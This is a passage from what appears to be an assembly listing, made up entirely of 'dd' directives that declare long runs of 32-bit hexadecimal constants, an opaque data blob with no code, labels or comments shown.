8A2700D5h, 0E26D112Ch dd 6500F275h, 5B7AA23Dh, 58098353h, 0E300AA36h, 784D8170h dd 77036B16h, 0F8620AE9h, 0B6E89B6Dh, 0F95307EDh, 0A051A10Bh dd 6FEE2B14h, 12BA6607h, 0B9505850h, 188132B1h, 325EF8C0h dd 130AC780h, 9FF5F633h, 0D5030612h, 10E95Fh, 0AE54A455h dd 897E316Bh, 4438651Eh, 0A0690E44h, 4B0235C5h, 0C395371Ah dd 90DAB833h, 960B7EAh, 6C619A6Bh, 0E0F6C916h, 0A372C83h dd 8BD81C67h, 3C0089D7h, 755DBB30h, 0F21F1h, 0EE81D3B7h dd 2418ECD4h, 26D628CFh, 0FE13D0C6h, 0C54212D3h, 0FE390296h dd 0E975A18Ch, 0CD69A84h, 0C401CF36h, 0DB239E9Dh, 0F1302189h dd 29A53C36h, 822381Bh, 390C9EB0h, 45282A67h, 0B621E41h dd 3A2CBBE7h, 6F0C8D21h, 0A3115987h, 0AD5D1904h, 3818E3A8h dd 0C30E43Ah, 685B11FFh, 603239D2h, 0CE938160h, 3D60C469h dd 58DCA911h, 0A6AE20EAh, 64082902h, 12A11321h, 73AFD480h dd 2F06E251h, 4DDFACEEh, 4E0F3008h, 43BFDA20h, 6FF3D40h dd 0EBAFA1E6h, 8BE8103Fh, 0C6005FB8h, 0C22E5C96h, 7436C422h dd 0E79000CFh, 0B6E12AB4h, 151F3723h, 0AB0FA431h, 0F4C903B3h dd 0E20BC130h, 8388D19Eh, 0C4E706A8h, 0FF70AFE8h, 8140A660h dd 5E04057h, 9BA4C0FAh, 4C584F8h, 412A2DB0h, 0AE8368ACh dd 0D5E73080h, 1F44BBD9h, 8CB1EA00h, 0E54108BDh, 0DABC03F9h dd 68D9275Ah, 3AD403CDh, 0BAA8048Ah, 240DF09Ch, 48AF1360h dd 0EB1FF0h, 3E439BBFh, 3B2BDF0Ch, 1B04F8DFh, 5C81DDB1h dd 80DEBEE4h, 18EFEB0Ch, 95910085h, 4838781Dh, 0FC182881h dd 0C4682A6Ah, 0A72201BAh, 0CEE2EC3h, 0A68050E9h, 80009009h dd 33B88201h, 6EF8CBADh, 0A4829899h, 0ECA72BC9h, 0DABD3338h dd 668A3800h, 0A94DBC01h, 908601EEh, 97B3F9A0h, 3E58E055h dd 9D1FE3F8h, 283F9F8Dh, 973E1454h, 8E9900E6h, 63145BB2h dd 7879B833h, 2F730355h, 56E00152h, 0D1DD45C0h, 0DAE6051Fh dd 70B24FC0h, 0C2E3A54Bh, 0E0A00C38h, 0BF613900h, 0DEB70077h dd 3C4E5DFh, 0AF014F5Bh, 33AD9123h, 1E78739h, 0A7C15420h dd 4E0D89A4h, 4511120h, 25EF3183h, 0FB46C580h, 0B0C0B2FAh dd 0F5973249h, 0D1C0002Dh, 313C14E0h, 48C0679Bh, 98FDCD16h dd 0F34F395Dh, 9C83C7BAh, 0B53D56DFh, 46CEF100h, 5BD908DEh dd 0D2A20069h, 4FD876A4h, 16002A56h, 0B1E90EBEh, 1038A03Bh dd 0E35951h, 0D849DDB2h, 0E2A9114Ah, 91FE3EDAh, 9F3E6380h dd 10AF67FFh, 0F43BC618h, 65D7A50h, 0BDB67198h, 5AF84055h dd 79E46E39h, 0BCEADC0Ch, 881959h, 0FB83C9Ah, 9FD436A7h dd 0F7D0DA03h, 22B1FA26h, 9B00A3C1h, 379DF025h, 590B49h dd 6E50DE5Eh, 95DB846h, 0A3522C02h, 80891DFEh, 0D769E984h dd 0F00C505Fh, 0DA5001D2h, 0F791B432h, 0A185F403h, 0B85C4514h dd 710B0084h, 9650DB1Eh, 0A15F60BDh, 0F330B7CFh, 170084F8h dd 733FCE3h, 0E5579F0h, 0BC1B379Fh, 0A4008AE9h, 0AC2EA2E2h dd 5180B616h, 0DB30FCB8h, 0BA3D5449h, 408BC9C0h, 323FEAFh dd 0ECAB849Fh, 7813D34Ch, 9101F6B2h, 0B809CF5Dh, 0B3BB8040h dd 68020775h, 808E7D17h, 0A3543AB2h, 0D0F35A2Ah, 108A9402h dd 85885DEDh, 0C04D75BCh, 82C42190h, 3AD41210h, 99083659h dd 0A2E3150Bh, 3E288745h, 576C3570h, 0E2AD1A8Ah, 3541495Bh dd 0A5318061h, 4D212AE4h, 5DE10543h, 1A699F82h, 4833828h dd 0ECA0AF74h, 2C046330h, 39B1E894h, 37D82C90h, 0EAB903C3h dd 9FFA2F5Dh, 2DD6E809h, 0B80D06F0h, 8E18F7E0h, 5DD11004h dd 993270E8h, 10869E20h, 5FDF0034h, 0B9064F01h, 9500B887h dd 65D5D62Ah, 7B3BA076h, 98644811h, 5AA58E06h, 1D0B41DFh dd 8BE7436Bh, 7FEC00F9h, 9A8B7Ch, 9668DB57h, 61531A5Bh dd 0DD75D0Ch, 4895B099h, 5233E49Fh, 0EB8822F8h, 4E54E0E7h dd 3D12DA94h, 302049F9h, 88AFFF0Ah, 39CFD7E7h, 0F0BF2C54h dd 518D1882h, 0C03C3035h, 4CCE6004h, 2C86A384h, 859F2808h dd 0FC08C6B0h, 0FE00414Dh, 0F7C619FAh, 908C4ACFh, 8D55063Ch dd 0E1DE59ADh, 0B6B11401h, 0B366C7B5h, 4803824h, 49488896h dd 0B2C904E9h, 1EE13E20h, 0FCF4DD0Ch, 9D36957h, 0A8AE8BE8h dd 500085Eh, 0DDDB4A91h, 98E24CF5h, 30EC24h, 2B4179D2h dd 0BC24B315h, 84C3457h, 79865834h, 0AA92DB00h, 50D9E7E2h dd 891C21DFh, 0F6D70F00h, 0F9D85880h, 3A238889h, 0ED3B1C20h dd 8702648Bh, 2DD77027h, 10184BF9h, 58A5FDC0h, 84E7008Dh dd 905E0507h, 2E230065h dd 931960F5h, 2092255h, 15C5312h, 35649404h, 71DCEF47h dd 0BDEB1816h, 0C80AB948h, 0E707A600h, 18FC50F0h, 0BAA81429h dd 0A400F7D6h, 6445BF24h, 581D0776h, 3B94845Ah, 0FC307C78h dd 6149E162h, 4FD70016h, 0D3B637D0h, 7754329h, 29F7300h dd 0FA757166h, 2A770044h, 0F4DCB481h, 0D126D5D9h, 5A0C6896h dd 0DD7459E0h, 80D0E909h, 5EA5C032h, 7E021D69h, 0CEDFF33Fh dd 61C4683h, 3A8455EBh, 0B576A1BEh, 68BA5000h, 0CCDD485Fh dd 0D8B02A2Ah, 8CAF1FC0h, 0B2D7C098h, 386482A4h, 8242891h dd 3840C53Ah, 0A0DA8C4Bh, 18C53B1Ch, 69BC3A8Bh, 0EDEE3E99h dd 381292E8h, 14007833h, 4F652DDAh, 0F8925Ch, 2E84960Ah dd 0FCF3DC51h, 0E0001C91h, 9F87A1ABh, 62C20066h, 1B681EEBh dd 19143A08h, 26E450DFh, 5A586C8Ah, 1911C0E8h, 5D3D3BC1h dd 71D6410Fh, 1C83606Fh, 290E1A5h, 21D9E096h, 0B84AF43Ch dd 0B5468440h, 488C574Ch, 0AD891364h, 26EA6023h, 0C150A5B0h dd 65EB108Ch, 7B50237Ch, 84B488h, 11880210h, 0A2EC2E13h dd 0DC820612h, 193D9C00h, 3CB9FD5Ch, 0E8887ADEh, 348058BCh dd 0DB5673A7h, 0D3A8CCC0h, 21DE4CB1h, 0A8739F80h, 4FDC4Dh dd 8A147619h, 23A4C1DFh, 2254F212h, 3D86E402h, 925500B6h dd 0A6191956h, 31D07039h, 21A7D998h, 193F4EF8h, 0D2CA0143h dd 56E53DD7h, 45B4D440h, 0F50335CEh, 83500A28h, 194D402Ch dd 0A84639A9h, 0F10FAB22h, 607B19A5h, 12E0B70Ah, 0AEEF0411h dd 0C1A24989h, 53E658h, 4892275Bh, 0D804E891h, 88D2E76Ah dd 0E4989838h, 6822720h, 0BD8D588Ch, 1E0CA034h, 38AE95D7h dd 85A0C890h, 0B31957C0h, 22784639h, 0A1F750ADh, 0C27903A5h dd 0B761B987h, 0E8D1BB8Bh, 79EC36D3h, 5EBD01FDh, 84B9C450h dd 0F79A3D99h, 2C37E280h, 0D2A78105h, 703CBC01h, 0DD5AE3B0h dd 0FA0824h, 141DC77Eh, 495F26D4h, 0D9182B00h, 31A6E63Fh dd 663801E0h, 0DA3EAD68h, 0AC52D135h, 0D8C08C70h, 0C75DBD5Fh dd 0B38CF681h, 34F05248h, 0FF0036EEh, 467D3D2Fh, 51496220h dd 1040988Bh, 12E1734Eh, 1D24B247h, 0AA1FA338h, 98DB4DC4h dd 93204F62h, 1EC773A2h, 0A633EBC2h, 7E150781h, 5BD8C068h dd 0AE3DDB6Dh, 77FD1D80h, 31AF4F81h, 0A8D3ECD2h, 0A3ED324h dd 0A99B0ACCh, 0C28F0CA4h, 120CD498h, 69532C78h, 5A31266Dh dd 0D5E54038h, 1B755C39h, 5B71D702h, 0A0AB5E2Fh, 2AA57284h dd 0D986013Ah, 3933B49Eh, 54102453h, 73B9BE0Fh, 30BCAC2Fh dd 8D461755h, 34080284h, 104A642Ch, 3379B402h, 0A9CF6900h dd 56DD3E86h, 167066A6h, 5AD008D0h, 6BE8F401h, 204FA3E2h dd 84814A11h, 3490A63Ah, 0F5DEF73h, 0B32D427Bh, 1B929DC0h dd 83006599h, 0E0B1550h, 203DD847h, 0DD5C51A9h, 0BD78443Ch dd 1E88B949h, 7040C481h, 4144B1EDh, 0D9AC0390h, 0D3BAA046h dd 0D5C07EC0h, 0BD91F41Dh, 9A815303h, 0C58CC0E0h, 0E8470444h dd 0C03D4A8Dh, 773CF395h, 0A7DBB000h, 4FB2A187h, 0FEB7007Bh dd 40AE793Dh, 9F007743h, 0B9E942D5h, 0A554463Fh, 0E28F3B38h dd 151D48B9h, 9DF3189Eh, 5578087Fh, 97B0B060h, 2C70D9CDh dd 40B885h, 9DD3C3E2h, 42EC559Eh, 0DFAFE507h, 0F5808851h dd 0CC17B6Ch, 8E54A6F9h, 0E53CA3D1h, 42A11A50h, 8D44CC38h dd 0E598B04h, 0F80E5CABh, 2E47F4Ah, 0BDE535D6h, 0DFA438E0h dd 64BCD01h, 3CE24F5Bh, 0E7745C24h, 0C70791F4h, 0B28DDC18h dd 884A5FFh, 3DB880F5h, 0F64CBA61h, 54840AF8h, 0F7042C88h dd 48E195C6h, 0D1650C18h, 75C40C88h, 100C80ADh, 470C613Ah dd 0A0DEBA04h, 690744A1h, 80C7D718h, 9ADAA540h, 403266E0h dd 0BB155971h, 0A7869B6h, 58E0DCA5h, 0C4EF0810h, 0E23BF730h dd 0F9B09DFDh, 0F0584BCDh, 4D273934h, 6409DC84h, 0CC20DB36h dd 0FFFDCF5Bh, 89D028CBh, 932D8E78h, 91FEEC0Fh, 61609F09h dd 0E5D9E420h, 5D1C8785h, 8447334Fh, 865FB3DAh, 12198605h dd 97D8E7B2h, 312D51A0h, 73B830A5h, 39A01901h, 8DCF11F3h dd 5DF40C40h, 14BB4DD1h, 58193B14h, 0EB0F3F7Bh, 0D16459A9h dd 74331158h, 20912060h, 0D7295A25h, 0B820BC61h, 0BD18F142h dd 0AFD580B1h, 0F033112Ah, 3D517A14h, 0E084CAF8h, 84543A09h dd 8224E85Ch, 402CA148h, 0C182619Fh, 4C85B205h, 358A588Ch dd 73B20FE4h, 0C9CDDBC4h, 4398907Ch, 0BE6B9098h, 84387C89h dd 2853D405h, 3A804296h, 8899D658h, 0E8E0ACA4h, 0C0226428h dd 5088B006h, 28284862h, 9EE0A3AAh, 380CCAECh, 80AE6DC4h dd 0C99A3E7h, 8C663F0Ah, 0D3107305h, 0E0A3048Ah, 0E28833BDh dd 0B2BBE014h, 2C3D21F4h, 5942195h, 56FDDF6Dh, 86875C8h dd 80A1E828h, 98519A45h, 608A890Ch, 261955B4h, 7D0C39B4h dd 0BA046F84h, 0F5A46079h, 0A842A345h, 518028BEh, 0C99A3ADh dd 8C999D0Ah, 9C6AD112h, 10F5E088h, 55B1D91Dh, 53C8A027h dd 1214DB58h, 4AE73663h, 6BD81F14h, 0E03A7410h, 0F15061D5h dd 31F80E3h, 0D14534BBh, 7751299Fh, 0C381B7A8h, 79145AFBh dd 95D8361Ch, 58937C30h, 4C52E165h, 1F842C6Ah, 0F1B16B07h dd 0EE01B80h, 5063A936h, 0E07CA210h, 0DBEC04Bh, 475D8853h dd 79784118h, 0DC0805AAh, 0DC99A595h, 53C1F4A3h, 0F822770Eh dd 98A5EF26h, 824C7E71h, 4A659C04h, 7E603C0Fh, 462B37A4h dd 0A3A9C754h, 44B058C8h, 0F72ACD11h, 3CD851B5h, 0E16C21C1h dd 18785A14h, 0BD1857A1h, 1E096CAh, 3F45B33Dh, 3ED02D79h dd 72870783h, 7C80D7BEh, 3BD3AEh, 47D88454h, 42D5AFE2h dd 14B6E729h, 0DE837647h, 43300748h, 0C1CBE53Ch, 0AE7847h dd 23FBCE9h, 0D6C4796Fh, 6D60A241h, 0C3308053h, 0D9B19046h dd 18A36E43h, 47C47C83h, 79D0B7DCh, 700EBC74h, 8343B8EDh dd 0AE45C173h, 47DE1A78h, 3DC3317Dh, 450A59DEh, 0CBFE449h dd 3D101049h, 41DA07B0h, 1242B879h, 8884C0E5h, 281CE1E8h dd 200293D0h, 115A26CBh, 3C8514BCh, 2439BCF5h, 0F78C325Fh dd 0DF0248F1h, 8B64DDB8h, 9E3864ABh, 0FE4C99E0h, 0D0D0F619h dd 0A040614Fh, 24B0226Dh, 314C3CE1h, 35643286h, 9F7DA192h dd 0E7807304h, 0A48749D7h, 10EFD2C3h, 7BF3ABA9h, 20957426h dd 0C504388h, 0D5E166FBh, 10B318A1h, 0C834B732h, 0FB45DE68h dd 349C48A4h, 0A19D259h, 0B74612Ch, 8C6034FBh, 482B43Ah dd 66097540h, 93D3F823h, 2CBCB8A6h, 0F2763A86h, 0DA5A3030h dd 5320BD61h, 18FA30CEh, 2885D659h, 2CC8274Bh, 814836BCh dd 31C30651h, 6434345Bh, 3AB9FF25h, 514C6188h, 8879A835h dd 313E1003h, 3018FE76h, 50B948FCh, 0FCC4558Dh, 2545C420h dd 0FC38DD88h, 0E53DCD15h, 0C1A0D8DAh, 34276973h, 3D16E83Ch dd 0B33C4A66h, 34E4A64Ch, 4C0CA7B1h, 606D0858h, 0C333645Ch dd 310C42A3h, 1852FA5Ah, 0D04CA9F3h, 1CA65854h, 11815453h dd 486A85D5h, 5142D2A4h, 9D1891B2h, 62DF43BCh, 16A3F5B8h dd 0A6103A42h, 86BCAC53h, 31630F23h, 12322450h, 2DC5157Eh dd 0D4F65008h, 4451D321h, 35CE2213h, 517A1F08h, 6284119h dd 0AFC40F54h, 0A187286Dh, 284F5E78h, 0A290F38Fh, 1A561176h dd 286FF784h, 0AE46845Fh, 185F57A1h, 5C514CFBh, 366C2192h dd 896032DDh, 1834A1FFh, 602289B4h, 390E5B0Bh, 4050D8CBh dd 0F2443584h, 0DA1B067Bh, 5846ACA7h, 0C62DE144h, 7896F409h dd 0DC81B67Ch, 631BDB10h dd 0D423353Bh, 95533608h, 5B60184Ch, 4C93D449h, 5A229892h dd 20240A5Bh, 1AA13C77h, 412F60A0h, 3C40392Ch, 5DE82231h dd 0DAA89090h, 0D7B0C041h, 42BC5F7Ah, 6D0F0138h, 0ECAA83E1h dd 611C094Eh, 0B58F4DB1h, 29422CD2h, 692D00E8h, 997635FBh dd 0E0FCC809h, 0C51170F7h, 0A61B0D17h, 769609EEh, 0E9B24C40h dd 16FD7500h, 0D23A779Bh, 7E123171h, 0F4E1A550h, 8595DE25h dd 70013CF8h, 0DBCDDDD9h, 4EB1897h, 0A1B194h, 0A3DC0554h dd 0C47159DEh, 2DE7EA00h, 5AC4344Bh, 7C0C2200h, 36551476h dd 414400D3h, 31BB1C20h, 9B011DBCh, 0D5DB8990h, 409F7B55h dd 0A429E2h, 0C1347460h, 0EE0FDF47h, 0CEF3BF9h, 71AD503Eh dd 0B6E4008Eh, 90EA2E8Dh, 0D005467Fh, 0D35DF35Bh, 7AC91088h dd 0D1CE189Bh, 0EB31C0E0h, 0AFE34B07h, 2BC744F7h, 7BD7284Ch dd 60BB0037h, 87B109B3h, 1200C247h, 35EE13F6h, 378FB2Ah dd 1F2D0C2Bh, 0E0A30A24h, 7D540BC0h, 9FFE3A1Fh, 0A0E87E8Eh dd 0FD0A51E3h, 28270778h, 0E012E707h, 0E12A737Ah, 331F061Dh dd 51E41503h, 861061E0h, 0CF0F1EFDh, 282CD580h, 2771FE00h dd 3AE979FCh, 1397C2Ah, 0E4020C24h, 0F413281Fh, 707FF25h dd 0A2361EE0h, 41AB86Dh, 0CE2E80FBh, 7238FD1Fh, 14FCE6D5h dd 18882676h, 59F3AAA3h, 0CC5D1003h, 901E4DCBh, 79E29C6h dd 86A7632Eh, 18B336BCh, 83FA8C4Ah, 0E9E0D3EBh, 59CBC5E8h dd 9E2803Eh, 0E681DCCh, 34D802FEh, 0A0C36020h, 8800400Dh dd 16EC3F47h, 0B1F7CEh, 0BC2BA286h, 40D8F292h, 56813Eh dd 8D8BBBB5h, 4C237Fh, 0A5DF880Dh, 0A2C64BEEh, 0F6EB3D3Ch dd 9B183EF8h, 0A470C1A6h, 0CB3F2850h, 0FF010640h, 0D85A0829h dd 6357F139h, 1DE75908h, 4243FF9h, 609A8BE9h, 11EE29D6h dd 0E0F49B93h, 0FFD0EF8Dh, 34941080h, 4C80EED7h, 14468DDh dd 0D0047D4Fh, 0F2850618h, 811960F8h, 8F41F78Ch, 0CC401161h dd 4F433h, 0DC34959Ch, 4D151F22h, 14D4B237h, 0A08C68B4h dd 4743D0EAh, 80198CCAh, 57FB1443h, 5F2A883Ah, 5AF8F8h dd 2215F282h, 0A319AA07h, 969218C0h, 7493271h, 0E18D655Dh dd 89C8C629h, 8648C550h, 39F948C9h, 64227128h, 9C1E1BCh dd 0E9126CBh, 4CA0A8F3h, 58AF3D53h, 6728FE80h, 7A0B2AE7h dd 0F71FEF1Dh, 0F5137987h, 7898E235h, 1650B038h, 1FD4FD09h dd 851F0354h, 1EA066D6h, 0E4022DF7h, 11B6146Bh, 0E449865h dd 5A45072Fh, 0EA070D5Bh, 0EDA7C104h, 34A64438h, 8008010Ch dd 8E736E0h, 1530A6B2h, 859DC7Dh, 5621AF3Eh, 57071FBEh dd 0E9A05514h, 48F1E412h, 0A48A41CCh, 83B5310h, 0A290534h dd 0D9308D4Ch, 7931935Dh, 0CD6F283Ch, 0F609E319h, 833149Ah dd 51A317E1h, 424EF170h, 9C6DC188h, 52F103F0h, 860A0C3Eh dd 688CA327h, 0DA7D0350h, 2842C372h, 95832DCh, 48562457h dd 224C914Dh, 0A14A444Bh, 9F12A089h, 0B5489E24h, 0B322B491h dd 89A9B244h, 27A712A8h, 0CFC9C0A6h, 8406D969h, 85D75BEBh dd 1AB21DC1h, 84C8145Ah, 4974BB2h, 8520E59h, 0DFBC8059h dd 0FA31E6Ch, 7288B3ACh, 298ECC8Fh, 6AA2B201h, 5A1DD026h dd 0F06CEE00h, 8B37C58h, 0E1847459h, 20E38CD1h, 1D047440h dd 987CD26h, 66A8F00h, 5870F2B1h, 353F2225h, 4A1FF48h dd 1B64D5FFh, 19C088ACh, 15CE67D8h, 0F831EE22h, 38B2527Fh dd 0FB0843ACh, 8F81CF07h, 0D9060D62h, 7845095Fh, 42F1804h dd 4880BBEAh, 0BA826E62h, 6078001h, 0FECD3BB4h, 5F72185h dd 0C0382A88h, 7943994Ah, 839601C7h, 74A3163Ch, 6B1880C6h dd 0B239A4Eh, 9E0C0AB2h, 1F1CC78Ch, 4A170792h, 51C6B01Dh dd 28A9A31Bh, 0E49C7ABEh, 0C30D18E6h, 0A0AA416Fh, 4830A967h dd 0D772DDC0h, 5FB20060h, 7DCB1635h, 0EF007387h, 0C266F626h dd 113E87Eh, 7FD2CE0h, 0D0DAB1C0h, 0C0012E4h, 0A26D22Dh dd 1C28E7FCh, 0BEFF18FDh, 36793903h, 44A12CE9h, 72E4D8DFh dd 10B873Ah, 7338D835h, 40800E2Bh, 0E3FE093Ah, 130A411Eh dd 408824EDh, 0E1FE481h, 49E0E201h, 5C37C59h, 27732CF4h dd 983026EBh, 38EE150Ah, 40671CFBh, 25D5A2h, 13F688FFh dd 0F720730Ah, 59656015h, 0EE8BEC2Ah, 4941A4F4h, 0EFD81547h dd 0BF18AE06h, 0D200A466h, 73575BCh, 0AC8A3978h, 79130E2Ch dd 728EE927h, 0DB0584B4h, 632E360Dh, 0E4E0FF38h, 8C0EDB53h dd 45E912F3h, 147405F4h, 2E874070h, 0E36B3EDBh, 0FA24EB87h dd 0F70D4238h, 6F6F8A0h, 4B268477h, 0D4559C59h, 0EB1AD200h dd 0E97EC45Dh, 15CE0E72h, 0EA06D88h, 3671D10Bh, 3414FB26h dd 792DE304h, 394000D7h, 0FA726CE6h, 0DB07243Ch, 25768798h dd 0DB3910Fh, 3EE8F1FCh, 7850F086h, 66FF0F3Dh, 3B09060Ah dd 474B2090h, 0E25DB3Eh, 9A277D01h, 4774B050h, 0CB6B7CB9h dd 1C97B290h, 164A095Dh, 12F63000h, 0EC1D5273h, 56A5E309h dd 58A35A98h, 0E1E9E37Ah, 360882FBh, 601DCF42h, 782772D0h dd 12EC0F34h, 83FE2CF3h, 51E4080Bh, 35E002A0h, 0EDD12A0Eh dd 487C9D36h, 0C9F008Ch, 0E814FC12h, 6E12C2Bh, 0FDE90070h dd 73F1FEDh, 0D0EF21E6h, 0C632AECh, 12E23510h, 18E13360h dd 0E80650ACh, 79FD1E0Eh, 0B840FB73h, 0F6FCF53Ah, 1FC8C212h dd 6855F72Ch, 0BFEE07D4h, 0A0C194C4h, 122A38E8h, 0EFD0B32Ah dd 0D0F829B5h, 28F0E409h, 0C0D4145Ch, 0E2D20D6Ch, 60FB5851h dd 0D40015CFh, 2826EA38h, 20740812h, 8FABB874h, 5CF15FB0h dd 0D184E12Ah, 13E820EEh, 0F10F1F0Ch, 0F2F73079h, 0A2625E6h dd 53E47054h, 0B0BF0CF6h, 2CE4664Ah, 5C40D28h, 852AF586h dd 61DC13B4h, 363828E4h, 0B0F92C0Ch, 3FA3609h, 0A7FB35E8h dd 0D7FD0F83h, 96098F8Fh, 1C81C424h, 98B3A28h, 0C42AEE08h dd 5006E6E4h, 0C001092Ch, 0E8B61200h, 13423835h, 60D24D8h dd 59FD2610h, 176C5895h, 2406F71Dh, 0A90B120h, 303C482Ch dd 0FE0B807Ah, 3430F3DFh, 0F8256C78h, 1412F7DEh, 0DC8036EFh dd 29B6116Ch, 241826D9h, 630F0B50h, 0D8F50CEDh, 151605E3h dd 84C9D70Dh, 43F243E0h, 7CC4D32Dh, 5A2C182Fh, 0C3FD80C8h dd 7313FB43h, 7D50B4h, 29D22CEAh, 0E258FE0Dh, 0CF1417D8h dd 1DE76440h, 0AAE42AFDh, 94F8D918h, 520050C4h, 51C86948h dd 792E07DCh, 76092025h, 0F0A0752Ah, 2072D1FCh, 7336E902h dd 7913F72Bh, 0D498273Ch, 2600C65Ah, 43D50D0Ch, 1EEE07DFh dd 32CF52Bh, 7938D035h, 0EB37E9C0h, 1A282601h, 0E278ACFh dd 0EF720F0h, 0E23C1F07h, 772E2118h, 390C361Eh, 12DF3582h dd 0E480E9D5h, 0FF83C82Dh, 6804F784h, 0E074DB18h, 1F298010h dd 885C7634h, 35E017F8h, 340B50DDh, 7212F3E0h, 89E090BEh dd 0A3E313E8h, 81C0D8F0h, 3EC4FE40h, 0C790A1Fh, 0E8020E52h dd 3978E421h, 28E00805h, 0C812010Ch, 90E819EBh, 84E06C37h dd 80E1D6B2h, 9151380Ch, 0D27C7C10h, 7307E707h, 864FFD19h dd 0BE28FB2Bh, 86053A60h, 1EE0809h, 2AE6FCDCh, 262080F4h dd 1378FDF0h, 27E7E8FBh, 0B80BF624h, 1988E0B8h, 44DAC4A1h dd 788C2080h, 0EC941827h, 54037769h, 0D8BE2825h, 397288C1h dd 52D007F5h, 35D0A0DAh, 0EB13000Ch, 0EE15D951h, 498F328h dd 80A0D7F0h, 2D050B12h, 3814C82Bh, 80F0B010h, 33D5012Ah dd 37195FF7h, 813737DCh, 0A02D281Eh, 0C9CC8E9h, 1C915822h dd 6B5A1B89h, 0A300560h dd 0A2522AD1h, 0EF3907D4h, 0E202F421h, 53F49A12h, 0F0A12764h dd 3CE3140Ch, 38E03C30h, 367906EDh, 1E8390Bh, 29E238D4h dd 77E413E1h, 0D6A0AE64h, 0DC53045Dh, 8180BE04h, 0CE71701Fh dd 0F3F1E31Dh, 0C6FE8CFh, 8E1106h, 48E7C05Ch, 0BBC81768h dd 0F0CEAE18h, 91FD41h, 67D7361Eh, 6FDEEAFFh, 210308CCh dd 1EC800B0h, 0C94E21ECh, 80394865h, 0ADE88068h, 0BA996DE9h dd 0F3F2000Ch, 70F05104h, 0EC01B246h, 5ADBAEF4h, 65D4D4E5h dd 1F31BA0h, 6CB9B8EBh, 0F8E2E489h, 0D5266A00h, 0DAAE571Ah dd 93B800BAh, 1C3145Eh, 5D05F8E3h, 0C0A6F268h, 463C203Ch dd 0D6CD1D07h, 94DFE3CAh, 313FFC80h, 0CA36492h, 0AB5CB811h dd 21C0F008h, 0FB30A79Dh, 695805C7h, 477B4654h, 8082F2B0h dd 45AC7C8Eh, 55365317h, 62169400h, 8FD59Eh, 4D1B80E2h dd 0EC43C95Eh, 0B87639C0h, 66FB7F8h, 57DFCFBCh, 7C6008B2h dd 0F8C0AD21h, 6F7B1F15h, 0CB49C087h, 35582681h, 0C35B790Ch dd 54CF58C5h, 5AC4FFh, 0D4D872B4h, 0F378C7EEh, 0E9CAFE00h dd 37461C92h, 67143945h, 8CFC9B14h, 1838B702h, 0D4870ED8h dd 5F02A2D6h, 6EEACB9h, 5E1F2268h, 56FA880h, 0EC11C8AFh dd 69004452h, 0E42AB2F4h, 48065CF8h, 14363EB8h, 957D0121h dd 4DE6CA62h, 0B75F7010h, 7BFDCF00h, 55DE171Eh, 0ED390CA5h dd 6551E980h, 0FEFD6418h, 2AFB68C8h, 39CEE4Dh, 2BF6A777h dd 64302CE0h, 6B9520B8h, 30BB6A25h, 87DE0840h, 39555B81h dd 58243C18h, 8E100D6h, 0FB693DACh, 59C0D714h, 15ED7963h dd 5F302F0h, 38A63630h, 0A1C99h, 0C0DBBB86h, 7E7897A8h dd 0EA00028Eh, 0B39040D9h, 488A796Fh, 150CBCE0h, 0E5A0DF1Bh dd 932C3B8h, 45C6D1E3h, 60EFE450h, 5465EACCh, 5436D4EBh dd 0F6B001h, 0A50D1BC5h, 506FC3AAh, 0CC6AD324h, 46FF4354h dd 940A23E4h, 0EDC81C71h, 18611E12h, 0C180807h, 0D1956C14h dd 1DEC03C8h, 0A3A06632h, 0C97000CAh, 82BD316Dh, 34D3418h dd 0E2584624h, 96D03BBCh, 1D8082F0h, 8E2C1890h, 76F138E2h dd 998D5D02h, 45471766h, 31F46490h, 0FC47AC2Eh, 8688A61Eh dd 5F22C560h, 3987828h, 23201C8Ah, 0D0242B3Eh, 9381AC11h dd 0C6D7401Eh, 0E717E631h, 1B220CAh, 6E0279ECh, 0F018807Bh dd 0F2F80CFBh, 0B7BBA200h, 0A96C29D9h, 0C0CCA0A7h, 0FF787182h dd 6E4E2880h, 35FF9464h, 5EB050E1h, 0C72F25EEh, 1465459h dd 0ED1FBADEh, 5D42283h, 17056467h, 3B7980Fh, 95F101Ah dd 0BD5E4C50h, 0F8BC88B0h, 466FBB3Bh, 0B1007222h, 0F252F8C4h dd 3E3073h, 19175668h, 0A1C8BE37h, 8D3CDF74h, 9A279F81h dd 72FF6CC6h, 46D63AC8h, 7FA891A8h, 3AD406DAh, 0E0C4A44Dh dd 98F97020h, 0E61A2088h, 3BDB6213h, 3AE41E15h, 0BB2D81A4h dd 0F18AC782h, 8989FF9h, 0B06F21A7h, 62002D7Ch, 0AFCD7A6Dh dd 15490h, 0DF2A5CBDh, 3444BED5h, 72A82E18h, 8036B288h dd 2074863Bh, 323C3300h, 0B6378EF8h, 0EAB514ADh, 0AC10D46Dh dd 0A2D90656h, 0CA0DC22h, 8B86881h, 71756318h, 0A75C9E50h dd 0B41E3543h, 0E3825E2Dh, 7B19FF11h, 40C4D8ACh, 663C688Ch dd 0AB216C14h, 2FF6049Ch, 0EA00ECACh, 69ED4519h, 0C898A455h dd 0AB49BBC7h, 1EBC8044h, 876FD73Fh, 1ECB1D00h, 69E153h dd 8D9133F2h, 0D21AC85Ch, 0CD8EC300h, 3457178Bh, 28DC0813h dd 680FBA77h, 88515296h, 0AD3686ECh, 6E90C9h, 122261AAh dd 68A22DDAh, 85ECC0D0h, 74C88EC2h, 1BD312E2h, 41743723h dd 0E4C41D8Dh, 81014463h, 0E9BD1237h, 0E311166Bh, 776824E4h dd 9E3B9600h, 710F017Fh, 0F15430EAh, 0D545ECE1h, 0FADE340Ah dd 15C1D8AEh, 6424F96Bh, 0BE991365h, 0A364010Ah, 4AE6D810h dd 0D38100E4h, 13142DD6h, 2ED70A27h, 280D4D0h, 6ED519C9h dd 0B35CD44Ch, 202409B8h, 2D400ACh, 981D21AEh, 2B54614h dd 0D73D1E92h, 100131BFh, 0C1EC9AFh, 0E083ECCBh, 570ACAF1h dd 68A75F45h, 4018C44Eh, 87584090h, 64302A83h, 6C451C60h dd 0DB1704B4h, 0DF08C227h, 6E1FCA20h, 6C640D66h, 42C0A4A5h dd 6630B924h, 0D741111Eh, 83F7885Fh, 0E51EBDB3h, 0A53BEB0h dd 0C4A79728h, 0E3C6F445h, 5C91CC93h, 1981EF71h, 31DD80D3h dd 8FF7D973h, 8BCD6DA8h, 3EB430ADh, 64931131h, 80F788ABh dd 8930A69Ch, 6600926Fh, 742850C1h, 3BC6D26h, 0EA1A19B5h dd 14F09B67h, 0E0C0A20Bh, 0DE16A786h, 0DA9A24BEh, 0CBC7646Ch dd 0C103C8E4h, 0FCCE7E26h, 19C25578h, 0E45F14BDh, 9849054h dd 